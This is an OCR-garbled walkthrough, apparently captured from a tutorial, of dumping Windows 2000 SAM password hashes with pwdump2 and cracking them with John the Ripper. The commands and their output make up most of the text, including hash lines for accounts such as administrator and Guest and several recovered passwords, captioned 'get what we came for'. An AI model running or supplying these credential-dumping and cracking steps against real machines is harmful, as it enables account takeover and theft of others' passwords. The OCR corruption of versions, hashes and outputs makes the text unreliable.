Command Prompt [2]

Microsoft Windows 20808 [Version 5.88.21951
CC» Copyright 17852080 Microsoft Corp.

C:vroed puwdump2

G spudump2 >puedunp?
administrator:1003:486c1223359h2%5%aaad3bh435h51484ee - Padeccallec?he 2324282981651
BAd2:::

cipher:18602 :fefcd78Be2abcZBdaad3ibh435hh1484eef223482e5bf 859b28cd?4afdchhdidce:

Guest:501 :aad3b435bh51484eeaad3ib435h51484ee:31d6cfefdlbae?31h?Ich9dYeBcB8?cA: -
neo-1801 :539caadd4a989bf 9f aadib435h51484ee i 4d5PcPcPefe3dclc2addel1 88decf4Pebhlz ot
ronin:5HA:877980ded48006e Yeaad3b435h51484ee t hab?764beccf 841121 e@h3B46cedbeb’Y st

Cospudump2 >
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We run pwdump?2 and view the encrypted SAM.



Command Prompt [2]

Microszoft Windows 2088 [Version 5.88.21951]
Gy Copyright 1?85-2000 Microsoft Corp.

C:sred pudump2
Caspudunp pudump2  *> crackme
Cosopudump? >
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We output the SAM to the pwdump?2 directory.




[ ] Command Prompt [Z]

Microsoft Windows 2880 [Version 5.80.21951]
CC» Copyright 17852800 Microsoft Corp.

C:s>cd ripper

C-spripper>john crackme

Loaded 18 passwords with no different zalts (NT LM DES [24-32 4K1>
DOG Ccipher:z1d

Cadminiztrator:z2)

tcipher:-2>

CGuest:=1D>

CGuest=2>

tneo:2>

Cronin=2>

MTU Cadminiztrator:-1)

LAMB Cronin=1>

KMART tneo:ll

guesses: 18 time: A:80:80:18 (3> cr=z: 246202 trying: HKLTYA — K1233

Casripper’
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We run John against the SAM file and get what we came for.



